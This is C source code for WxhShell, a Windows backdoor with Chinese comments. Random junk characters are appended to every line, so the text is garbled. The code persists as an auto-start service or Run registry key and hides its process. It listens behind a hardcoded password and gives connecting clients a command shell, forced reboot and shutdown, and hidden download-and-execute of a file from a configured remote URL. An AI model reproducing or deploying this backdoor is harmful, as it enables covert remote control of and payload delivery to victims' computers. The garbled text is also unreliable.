    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %&w3;d;c  
    else { `\#B18eU  
    closesocket(wsh); a!"$~y$*  
    ExitThread(0); iV*q2<>  
    } Rld!,t  
    break; 7|$:=4  
    } [f1 (`<  
  // 获取shell ,}EC F>  
  case 's': { V9{]OV%  
    CmdShell(wsh); -xEXN[\S  
    closesocket(wsh); ymx>i~>7J  
    ExitThread(0); 7b;I+q  
    break; LSGBq  
  } MHX?@. v  
  // 退出 *KV0%)}sbL  
  case 'x': { X\@C.H2ttY  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); s'E2P[:  
    CloseIt(wsh); Rv$[)`&T  
    break; C/vI EYG4  
    } $o0 iLFIX/  
  // 离开 WJkZ!O$"j  
  case 'q': { -EkWs/'h  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); T`\x,` ^  
    closesocket(wsh); z$/_I0[  
    WSACleanup(); OwH81#   
    exit(1); u'|4?"uz  
    break; M<.d8?p )  
        } a!< 8\vzg  
  } uW@oyZUj  
  } A+"ia1p,}  
UEM(@zD]  
  // 提示信息 toya fHf  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )z73-M V"  
} sk,ox~0R  
  } 4'g;TI^  
;#xmQi'`  
  return; "$ Y_UJT7  
} s.N7qO^:E  
`e}bdj  
// shell模块句柄 / ';0H_  
int CmdShell(SOCKET sock) KxYwJ  
{ h|VeG3H  
STARTUPINFO si; [ sN EHf  
ZeroMemory(&si,sizeof(si)); 75"f2;  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #A1Z'y0  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; D coX+8 7  
PROCESS_INFORMATION ProcessInfo; %k-3?%&8  
char cmdline[]="cmd"; s+,OxRVw(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Rz bj  
  return 0; ~$:|VHl  
} Ne8Cgp  
iYORu 3  
// 自身启动模式 KIui(n#/  
int StartFromService(void) 0B@SN)<kH  
{ C([phT;  
typedef struct !MYSfPdS  
{ z=rT%lz6  
  DWORD ExitStatus; b$ve sJ  
  DWORD PebBaseAddress; <tF9V Jq  
  DWORD AffinityMask; C${Vg{g7a  
  DWORD BasePriority; uD1e!oU  
  ULONG UniqueProcessId; UDL!43K  
  ULONG InheritedFromUniqueProcessId; E*.{=W }C  
}   PROCESS_BASIC_INFORMATION; _/uFsYC  
=|M>l  
PROCNTQSIP NtQueryInformationProcess; ohFJZ'  
M=1nQF2J  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0fb`08,^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; A )^`?m3  
%\D)u8}  
  HANDLE             hProcess; _hRcc"MS`  
  PROCESS_BASIC_INFORMATION pbi; KM}f:_J*lg  
?o oe'V@  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); bvv|;6  
  if(NULL == hInst ) return 0; GNXHM*~  
q*\x0"mS/  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); U]^HjfX\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <KE 1f7c  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); bSfpbo4(  
}Mf!-g  
  if (!NtQueryInformationProcess) return 0; +W:= e,=  
fBRo_CU8!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); OUeyklw  
  if(!hProcess) return 0; W%T>SpFl  
[q/Abz'i  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9Wnn'T@Tl  
;'5>q&[qbP  
  CloseHandle(hProcess); =+U `-J} g  
rs,2rSsg!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); lz YEx  
if(hProcess==NULL) return 0; q;<h[b?  
!G SV6  
HMODULE hMod; &>%T^Y|J4  
char procName[255]; 5jd,{<  
unsigned long cbNeeded; |?qquD 4=  
E"+QJ~!  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Sx?ua<`:d  
jUSmq m'  
  CloseHandle(hProcess); 0Uo\wyd  
5Yl <h)1  
if(strstr(procName,"services")) return 1; // 以服务启动 oASY7k_3  
V'kX)$  
  return 0; // 注册表启动 {$R' WXVs  
} |&FkksNAl\  
Z&|Kki*  
// 主模块 R{ a"Y$  
int StartWxhshell(LPSTR lpCmdLine) JBJhG<J  
{ 'yL%3h _@  
  SOCKET wsl; /lo2y?CS*  
BOOL val=TRUE; @xbQYe%J  
  int port=0; GM3f- \/  
  struct sockaddr_in door; MC<PM6w  
fjU8gV  
  if(wscfg.ws_autoins) Install(); 4<% *E{`  
~xD ={9BL  
port=atoi(lpCmdLine); \~fONBY  
pgOQIzu  
if(port<=0) port=wscfg.ws_port; /4g1zrU  
}HY-uQ%@g  
  WSADATA data; JKGc3j,+#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; qMLD)rL  
gREzZ+([  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {vuZ{I Ja  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1UE6 4Kl:S  
  door.sin_family = AF_INET; Vl:^>jTki  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1XD,uoxB  
  door.sin_port = htons(port); BZR:OtR^  
NdzSz]q}  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  CCL   
closesocket(wsl); G&4&-<  
return 1; [N/"5 [  
} ~} ,=OF-b  
UazP6^{L  
  if(listen(wsl,2) == INVALID_SOCKET) { bI:zp!-.  
closesocket(wsl); i[?Vin  
return 1; BFo5\l:q8  
} tE)suU5Y  
  Wxhshell(wsl); go'-5in(  
  WSACleanup(); #MRMNL@   
T`5bZu^c  
return 0; Mz~M3$$9n  
9Hf9VC3   
} ><gG8MH0'  
p$PKa.Y3  
// 以NT服务方式启动 g7O qX \  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) JV]^zW  
{ mg*qiScfW  
DWORD   status = 0; qI~xlW  
  DWORD   specificError = 0xfffffff; \lZf<f  
"4uS3h2r  
  serviceStatus.dwServiceType     = SERVICE_WIN32; z7Q?D^miy  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; K95p>E`9e  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; J"=vE=  
  serviceStatus.dwWin32ExitCode     = 0; ha(Z<  
  serviceStatus.dwServiceSpecificExitCode = 0; J6L  K  
  serviceStatus.dwCheckPoint       = 0; fjs [f'L  
  serviceStatus.dwWaitHint       = 0; %*`J k#W:  
aVK3?y2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); W9D86]3Y  
  if (hServiceStatusHandle==0) return; 6^%68N1k  
(`sH3&Kl  
status = GetLastError(); L1Iz<>  
  if (status!=NO_ERROR) l i0i"  
{ w8Sp <6*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; kH]yl 2  
    serviceStatus.dwCheckPoint       = 0; 9Hc$G{[a  
    serviceStatus.dwWaitHint       = 0; dt`{!lts'  
    serviceStatus.dwWin32ExitCode     = status; &Nczv"TM  
    serviceStatus.dwServiceSpecificExitCode = specificError; SRrw0&ts  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); PzA|t;*  
    return; ?i06f,-  
  } (fCXxyZrr  
RV5n,J  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; j}~86JO+Cw  
  serviceStatus.dwCheckPoint       = 0; QrYpZZ;  
  serviceStatus.dwWaitHint       = 0; ~ ; -! n;  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Bc6|n :;u  
} t5#rps\;  
q^r#F#*1l  
// 处理NT服务事件,比如:启动、停止 *T~Ve;3h;  
VOID WINAPI NTServiceHandler(DWORD fdwControl) TW[_Ko86  
{ :j]vf8ec  
switch(fdwControl) ^V#@QPK9  
{ hA33K #bC  
case SERVICE_CONTROL_STOP: 49w=XJ  
  serviceStatus.dwWin32ExitCode = 0; qeL5D*  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8AnP7}n;?'  
  serviceStatus.dwCheckPoint   = 0; A9kzq_ 3  
  serviceStatus.dwWaitHint     = 0; /C4^<k\  
  { w0C~*fn3l  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rxy&spX  
  } =9"W@n[>W  
  return; /k<WNZM  
case SERVICE_CONTROL_PAUSE: #3_*]8K.R  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; /yZQ\{=  
  break; k&. Jk B"  
case SERVICE_CONTROL_CONTINUE: pGK;1gVj  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; }b0; 0j  
  break; l"2OP6d  
case SERVICE_CONTROL_INTERROGATE: |jVM&R2s  
  break; l?Fb ='#  
}; x >^Si/t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ngat0'oa  
} E5N{j4\F  
E[bd@[N 8  
// 标准应用程序主函数 ;\\@q"n%<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) H)>;/#!r-  
{ 3l3'bw2  
JGH60|  
// 获取操作系统版本 6+KHQFb&N  
OsIsNt=GetOsVer(); q7-L53.x  
GetModuleFileName(NULL,ExeFile,MAX_PATH); TM|)Ljm  
kJ-*fe'S  
  // 从命令行安装 D*YM[sN`  
  if(strpbrk(lpCmdLine,"iI")) Install(); vMs$ceq  
L[20m (6?  
  // 下载执行文件 zA!0l*H  
if(wscfg.ws_downexe) { 3neIR@W  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) K a(J52  
  WinExec(wscfg.ws_filenam,SW_HIDE); OLvcivf  
} j~e;DO  
E)9yH\$6  
if(!OsIsNt) { 3RR_fmMT)  
// 如果时win9x,隐藏进程并且设置为注册表启动 =T7A]U]  
HideProc(); %bD}m!  
StartWxhshell(lpCmdLine); L   
} z ly unJD(  
else 3:f[gV9K  
  if(StartFromService()) 2d {y M(=(  
  // 以服务方式启动 $8'O  
  StartServiceCtrlDispatcher(DispatchTable); "n=vN<8(o  
else ?l$Nf@-  
  // 普通方式启动 OHflIeq#@  
  StartWxhshell(lpCmdLine); WwUv5GZTW  
LT,?$I  
return 0; .]9c/  
} b77>$[xB  
( &frUQm  
]Bm>-*@0N  
F|HJH"2*&q  
=========================================== @5[kcU>  
H-xFiF  
>"@?ir  
03iv3/{H  
>R2SQA o  
ad_`x  
" "sKa`WN}  
80$fG8  
#include <stdio.h> }=2;  
#include <string.h> .?>5-od2  
#include <windows.h> hHPs&EA.p  
#include <winsock2.h> "aFhkPdWn  
#include <winsvc.h> ~-83Q5/[  
#include <urlmon.h> ,\aUq|~  
rO:u6."_  
#pragma comment (lib, "Ws2_32.lib") vw)7 !/#  
#pragma comment (lib, "urlmon.lib") >2?aZ`r+  
p<v.Q   
#define MAX_USER   100 // 最大客户端连接数 n6(.{M;  
#define BUF_SOCK   200 // sock buffer olW|$?  
#define KEY_BUFF   255 // 输入 buffer 8v)_6p(<x8  
#DjCzz\  
#define REBOOT     0   // 重启 cFagz* !  
#define SHUTDOWN   1   // 关机 +]@Az.E  
-OYDe@Wb]  
#define DEF_PORT   5000 // 监听端口 zLD|/`  
6st^4S5  
#define REG_LEN     16   // 注册表键长度 '?Jxt:<  
#define SVC_LEN     80   // NT服务名长度 Kwhdu<6  
z1!6%W_.  
// 从dll定义API Cj*-[ EL<  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9%IlW  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); EHlytG}@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); M]-VHI[&W  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (Bo bB]~a  
|fHB[ W#  
// wxhshell配置信息 <g9"Cr`  
struct WSCFG { b59{)u4F  
  int ws_port;         // 监听端口 Y&2aO1  
  char ws_passstr[REG_LEN]; // 口令 4q$H  
  int ws_autoins;       // 安装标记, 1=yes 0=no D0;tcm.$  
  char ws_regname[REG_LEN]; // 注册表键名 SLhEc  
  char ws_svcname[REG_LEN]; // 服务名 !eJCM`cp  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 D^Ys)- d  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 fRm}S>Nibb  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (H?ZSeWx  
int ws_downexe;       // 下载执行标记, 1=yes 0=no WjMS5^ _  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +/?iCmW  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9B)(>~q  
\nqo%5XL  
}; -iCcoA  
s{/qS3=  
// default Wxhshell configuration XV'fW~j\  
struct WSCFG wscfg={DEF_PORT, Q&M'=+T  
    "xuhuanlingzhe", 2*U.^]~"{  
    1, d \>2  
    "Wxhshell", (3*UPZv  
    "Wxhshell", D*vm cSf  
            "WxhShell Service", 2@vj!U8  
    "Wrsky Windows CmdShell Service", 2:$ k  
    "Please Input Your Password: ", TD04/ ISHT  
  1, &B!%fd.'  
  "http://www.wrsky.com/wxhshell.exe", ]#<  
  "Wxhshell.exe" qvt-  
    }; Wn!G.(Jq  
i=v]:TOu  
// 消息定义模块 U '[?9/T  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; jiIST^Zq#t  
char *msg_ws_prompt="\n\r? for help\n\r#>"; m%QqmTH  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; a%hGZCI  
char *msg_ws_ext="\n\rExit.";  r@T| e  
char *msg_ws_end="\n\rQuit."; dyQh:u -  
char *msg_ws_boot="\n\rReboot..."; Z{{ t^+XG  
char *msg_ws_poff="\n\rShutdown..."; v5T9Y-{`  
char *msg_ws_down="\n\rSave to "; N_C_O$j  
OoP@-D"e  
char *msg_ws_err="\n\rErr!"; W81o"TR|pt  
char *msg_ws_ok="\n\rOK!"; 0^]t"z5f0  
N"DY?6  
char ExeFile[MAX_PATH]; yBz >0I3  
int nUser = 0; ]5|z3<K^  
HANDLE handles[MAX_USER]; qmmv7==  
int OsIsNt; ma}}Sn)Q  
kqB\xlS7k  
SERVICE_STATUS       serviceStatus; 0->/`/xm  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; i+~QDo(Pi  
&]nd!N  
// 函数声明 U($^E}I2(  
int Install(void); :'w?ye[e  
int Uninstall(void); L+Pc<U)T+  
int DownloadFile(char *sURL, SOCKET wsh); 0&`}EXe<f  
int Boot(int flag); ~eo^`4O{{  
void HideProc(void); xbC~ C~#  
int GetOsVer(void); v#=ayWgk  
int Wxhshell(SOCKET wsl); ez0\bym  
void TalkWithClient(void *cs); 3c 28!3p  
int CmdShell(SOCKET sock); ?@a$!_  
int StartFromService(void); 11*"d#  
int StartWxhshell(LPSTR lpCmdLine); N^@ \tg=  
K<,Y^3]6?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?1m ,SK  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ",ad7Y7i  
y@9Y,ZR*  
// 数据结构和表定义 7l}~4dm2J  
SERVICE_TABLE_ENTRY DispatchTable[] = P7 8uq  
{ n49s3|#)G  
{wscfg.ws_svcname, NTServiceMain}, ~}%&p& p  
{NULL, NULL} dKe@JQ+-z  
}; ")\ *2d  
,$i<@2/=m  
// 自我安装 ~mcZUiP9  
int Install(void) F25<+ 1kr  
{ y(a}IM3~  
  char svExeFile[MAX_PATH]; _U=S]2 Q W  
  HKEY key; *C/KM;&  
  strcpy(svExeFile,ExeFile); coO.kTO;  
c V(H<"I  
// 如果是win9x系统,修改注册表设为自启动 qqD0R*(C  
if(!OsIsNt) { <|dj^.^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A xR\ ned  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -~]^5aa5n  
  RegCloseKey(key); o(nHB g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j~$ )c)h"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]Qy,#p'~&H  
  RegCloseKey(key); U*xxrt/On/  
  return 0; =KW|#]RB^  
    } Q}ZBr^*]1e  
  } -sD:+Te  
} X?_v+'G  
else { %SFw~%@3&~  
(T;1q^j  
// 如果是NT以上系统,安装为系统服务 %$\}z( G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); fIlIH  
if (schSCManager!=0) t3M0La&  
{ p?KCVvx$  
  SC_HANDLE schService = CreateService I@c0N*(  
  ( 0Mq6yu^  
  schSCManager, Cb<~i  
  wscfg.ws_svcname, !zl/0o  
  wscfg.ws_svcdisp, L;kyAX@^  
  SERVICE_ALL_ACCESS,  6.vNe  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , OC`QD5  
  SERVICE_AUTO_START, d OzO/w&  
  SERVICE_ERROR_NORMAL, J~:kuf21  
  svExeFile, :hi$}xHa  
  NULL, 5@""_n&FV  
  NULL, &8.z$}m  
  NULL, H?ieNXP7{  
  NULL, &AN%QhI  
  NULL _GRv   
  ); \y<+Fac1S  
  if (schService!=0) Rf&^th}TH  
  { jWz|K  
  CloseServiceHandle(schService); 9n-RXVL+  
  CloseServiceHandle(schSCManager); $d5&~I  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  ; \Y-  
  strcat(svExeFile,wscfg.ws_svcname); D_]i/ F%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9? v)  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5Xla_@WLW  
  RegCloseKey(key); (}~ 1{C@  
  return 0; 3Ro7M=]  
    } V:$[~)k8  
  } bkJn}Al;  
  CloseServiceHandle(schSCManager); ntd ":BKi  
} mOgx&ns;j  
} )3d:S*ly  
k)o7COx  
return 1; >7eu'  
} Zm?G'06  
t(Cq(.u`:  
// 自我卸载 6oe$)iV  
int Uninstall(void) mk$Yoz  
{ 7~QwlU3n<F  
  HKEY key; V1AEjh  
.T[!!z#^  
if(!OsIsNt) { V_ avaE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C:TuC5Sr  
  RegDeleteValue(key,wscfg.ws_regname); ?3e!A9x  
  RegCloseKey(key); +U c&%Px  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { as\)S?0`.  
  RegDeleteValue(key,wscfg.ws_regname); $]`'Mi  
  RegCloseKey(key); bDcWb2 lqs  
  return 0; gDjd{+LUo  
  } ueS[sN!  
} ,L8I7O}A;  
} gGceK^#  
else { 8O}A/*1FJ  
Z\o AE<$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @/Wty@PU  
if (schSCManager!=0) ;Ln7_  
{ )yz9? ]a  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); MWp\D#H  
  if (schService!=0) 6='_+{   
  { \3@2rW"5  
  if(DeleteService(schService)!=0) { }(hYG"5  
  CloseServiceHandle(schService); )x5$io   
  CloseServiceHandle(schSCManager); /s-jR]#VA  
  return 0; EIVQu~,H  
  } vX!dMJa0  
  CloseServiceHandle(schService); 8Y;zs7Y  
  } 2TevdyI  
  CloseServiceHandle(schSCManager); kcZ;SYosj  
} 9-e[S3ziM  
} a5Acqa  
1\7"I-  
return 1; vVvt ]h  
} "ZK5P&d  
h-)A?%Xt  
// 从指定url下载文件 1V?Sj  
int DownloadFile(char *sURL, SOCKET wsh) FZ'>LZ  
{ `Mh<S+/  
  HRESULT hr; c`N`x U+z  
char seps[]= "/"; 1x<rh\oo  
char *token; IbNTdg]/F`  
char *file; 9"u @<]  
char myURL[MAX_PATH]; K]=>F  
char myFILE[MAX_PATH]; m@ 'I|!^  
]FnrbQ|  
strcpy(myURL,sURL); c 6}xnH  
  token=strtok(myURL,seps); 0m| Gp  
  while(token!=NULL) _bV=G#qKK  
  { H ]N/Y{  
    file=token; N<i Vs  
  token=strtok(NULL,seps); KzH}5:qI  
  } RAkFgC~  
&Bdt+OQ ;  
GetCurrentDirectory(MAX_PATH,myFILE); g)G7 kB/<p  
strcat(myFILE, "\\"); 0 ?*I_[Y  
strcat(myFILE, file); R`3>0LrC8  
  send(wsh,myFILE,strlen(myFILE),0); Zp(P)Obs#  
send(wsh,"...",3,0); jKi*3-&  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); So]FDd  
  if(hr==S_OK) YKS'#F2  
return 0; 01d26`G$i~  
else d/99!+r  
return 1; !JQ~r@j  
~v,KI["o  
} d4eCBqx  
V6!73 iY  
// 系统电源模块 b2@x(5#  
int Boot(int flag) u0H`%m  
{ wyhf:!-I  
  HANDLE hToken;  DlkKQ  
  TOKEN_PRIVILEGES tkp; u~T$F/]k>  
PY:#F|uHS`  
  if(OsIsNt) { ->25$5#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); g~["O!K3  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }8]uZ)[p=  
    tkp.PrivilegeCount = 1; <`p'6n79  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; = FJ9wiL  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); xla^A}{  
if(flag==REBOOT) { $YQ&\[pDA  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) vo<#sa^,j  
  return 0; 3a[(GW _  
} ={0{X9t?'j  
else { 9i[2z:4HJ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) E4@fP] R+  
  return 0; kb\v}gfiD/  
} `.-k%2?/  
  } 67:<X(u+!  
  else { _SW a3O#'  
if(flag==REBOOT) { C`<} nx1  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {O oNhN9  
  return 0; G[-jZ  
} d7zE8)DU7  
else { ~:b~f]lO  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Y9ce"*b  
  return 0; 0J-ux"kfI  
} )Bvu[r Uy  
} IL"#TKKv  
}4MG114j  
return 1; P(+ar#,G  
} IHmNi>E&/  
SLB iQd.  
// win9x进程隐藏模块 VQ 3&  
void HideProc(void) qr;" K?NX  
{ `8bp6}OD,  
5h7DVr!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !K)|e4$  
  if ( hKernel != NULL ) FMr$cKvE]W  
  { F RUt}*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); IT33E%G  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5X-{|r3q  
    FreeLibrary(hKernel); =S +:qk  
  } @h8~xs~DG  
x;aZ&  
return; Bv*h ?`Q  
} 5Ozj&Zq  
rvO+=Tk  
// 获取操作系统版本 _{);n$`  
int GetOsVer(void) \MPy"uC  
{ :9qB{rLi}  
  OSVERSIONINFO winfo; (dZ&Af  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,%<77LE  
  GetVersionEx(&winfo); zg"ZXZ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 014!~c  
  return 1; O-YE6u  
  else ^PszZ10T  
  return 0; ?yh.*,dgi  
} D=]P9XDvb.  
H^0KNMf(  
// 客户端句柄模块 7T78S&g  
int Wxhshell(SOCKET wsl) T]k@g_  
{ m0YDO 0  
  SOCKET wsh; \t3i9#Q  
  struct sockaddr_in client; 4Qs#ws])  
  DWORD myID; g5`YUr+3?h  
<L 0_< T  
  while(nUser<MAX_USER) @ZZ Lh=  
{ %/p5C  
  int nSize=sizeof(client); 5O*$#C;c  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); I(|{/{P,  
  if(wsh==INVALID_SOCKET) return 1; 5@\<:Zmi  
dXQWT@$y!E  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *2Kte'+q  
if(handles[nUser]==0) =s<QN*zJB0  
  closesocket(wsh); s RB8 jY  
else 6|x<) Gc  
  nUser++; C_o.d~xm  
  } F u)7J4Z  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,;;~dfHm  
q_)DY f7V}  
  return 0; !+U.)u9 '  
} .7q#{`K^=  
L[efiiLh$  
// 关闭 socket [;}c@  
void CloseIt(SOCKET wsh) y!].l0e2a  
{ z;)% i f6  
closesocket(wsh); :.^{!  
nUser--; /on p<u  
ExitThread(0); Vj1AW<  
} 1Y_fX  
X9>ujgK  
// 客户端请求句柄 :Li)]qN.I  
void TalkWithClient(void *cs) snrfHDhUw  
{ D  UeT  
-M:.D3,L  
  SOCKET wsh=(SOCKET)cs; :Wln$L$  
  char pwd[SVC_LEN]; 1E(pJu'K  
  char cmd[KEY_BUFF]; pa7fTd  
char chr[1]; Sq,x@  
int i,j; ;:OJQFu%4  
a fjC~}  
  while (nUser < MAX_USER) { K)n(U9#  
iw%DQ }$  
if(wscfg.ws_passstr) { QJ QQ-  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B{Rig5Sc  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a2zo_h2R  
  //ZeroMemory(pwd,KEY_BUFF); @#p4QEQA  
      i=0; H 74hv`G9  
  while(i<SVC_LEN) { '7$v@Tvnre  
'(Pbz   
  // 设置超时 FU<rE&X2:  
  fd_set FdRead; ,v/C-b)I  
  struct timeval TimeOut; e.Ii@<  
  FD_ZERO(&FdRead); R!`#pklB  
  FD_SET(wsh,&FdRead); B $HQFdTli  
  TimeOut.tv_sec=8; $>+-=XMVB  
  TimeOut.tv_usec=0; HwOw.K<  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); wvfCj6}S &  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6;VlX,,j  
i^=an?}/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U+W8)7bc  
  pwd=chr[0]; L\"$R":3{d  
  if(chr[0]==0xd || chr[0]==0xa) { 0X@5W$x  
  pwd=0; @9^kl$  
  break; +_+_`q>]  
  } q,2 @X~T  
  i++; t.m $|M>  
    } SkxTgX5  
*H;&hq  
  // 如果是非法用户,关闭 socket CnO$xE|{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !0cfz5t  
} #GTmC|[  
UHXlBH@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); j,Mp["X&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4}gwMjU-B  
W2REwUps  
while(1) { 4*'NpqC(_  
lp4sO#>`  
  ZeroMemory(cmd,KEY_BUFF); %$b 5&>q  
-cG?lEh <  
      // 自动支持客户端 telnet标准   CnAhEf)b  
  j=0; (33[N  
  while(j<KEY_BUFF) { qoOHWh&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f3nib8B'  
  cmd[j]=chr[0]; `OduBUI]]  
  if(chr[0]==0xa || chr[0]==0xd) { B^eea[  
  cmd[j]=0; \2 W( >_z  
  break; eK]GyY/Y  
  } )M1.>?b  
  j++; fE7Kv_N-%  
    } &H* F  
5o&L|7]  
  // 下载文件  xU)~)eK  
  if(strstr(cmd,"http://")) { | YvO$4=s  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); }P^{\SDX  
  if(DownloadFile(cmd,wsh)) hd+JKh!u  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); NJn~XCq  
  else 28zt.9  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6Bs_" P[  
  } %Sj;:LC  
  else { cpf8f i  
^]OD+v  
    switch(cmd[0]) { ~d28"p.7  
  vw3%u+Z&  
  // 帮助 R(ay&f%E  
  case '?': { 2Ask]  
